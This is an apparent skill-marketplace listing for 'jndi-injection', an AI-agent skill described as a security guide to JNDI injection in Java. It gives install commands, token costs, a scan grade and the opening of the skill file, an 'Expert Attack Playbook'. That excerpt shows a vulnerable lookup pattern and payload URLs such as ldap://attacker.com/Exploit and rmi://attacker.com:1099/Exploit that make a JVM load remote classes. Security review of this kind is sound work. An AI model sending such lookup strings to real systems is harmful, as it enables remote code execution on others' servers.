jndi-injection

jndi-injection is a skill for Claude Code, Codex from miru-zero/zero-brain. It costs 45 tokens per session (2,317 once invoked), scanned A, a copy of jndi-injection, MIT.

A security guide for finding JNDI injection in Java applications. JNDI is a Java system for looking up resources, and the vulnerability occurs when an attacker controls the lookup name and can make the application contact a malicious server.

In plain words
What is it for?
Use it to review Java code that calls `InitialContext.lookup()`, investigate JNDI-related vulnerabilities, and understand RMI, LDAP, Log4Shell, and related attack paths.
Why use it?
It helps identify code paths where attacker-controlled names could cause unwanted network connections or code loading, including risks associated with Log4j2 and Spring.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/miru-zero/zero-brain/jndi-injection
Any agent
npx skills add miru-zero/zero-brain --skill jndi-injection
Clone the repo
git clone --depth 1 https://github.com/miru-zero/zero-brain

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jndi-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/miru-zero/zero-brain/jndi-injection.svg)](https://agentmods.dev/skills/miru-zero/zero-brain/jndi-injection)
Your own site
<a href="https://agentmods.dev/skills/miru-zero/zero-brain/jndi-injection"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/jndi-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 45 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,317 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin 94% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00045 $0.02317
Opus 5 $0.00023 $0.01158
Sonnet 5 $0.00009 $0.00463
Haiku 4.5 $0.00005 $0.00232

Measured 4d ago against content hash 3fddaaa860cf, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

jndi-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

94% identical to jndi-injection — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/jndi-injection/SKILL.md · 266 lines

How it starts

The opening of the file, as written. The whole thing — 266 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: JNDI Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.


1. CORE MECHANISM

JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).

Vulnerability: when InitialContext.lookup(USER_INPUT) receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.

// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

2. ATTACK VECTORS

RMI (Remote Method Invocation)

rmi://attacker.com:1099/Exploit

Attacker runs an RMI server returning a Reference object pointing to a remote class:

// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it

LDAP

ldap://attacker.com:1389/cn=Exploit

Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.

LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).

DNS (detection only)

dns://attacker-dns-server/lookup-name

Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.

Read the full file on GitHub · 266 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 266 lines · 45 tokens per session scan A 3fddaaa860cf

Subscribe to this mod's changes

jndi-injection is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 17d ago), licensed MIT. It adds 45 tokens to every session and 2,317 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 94% identical to jndi-injection, differing in 4 lines, and is treated as a copy.

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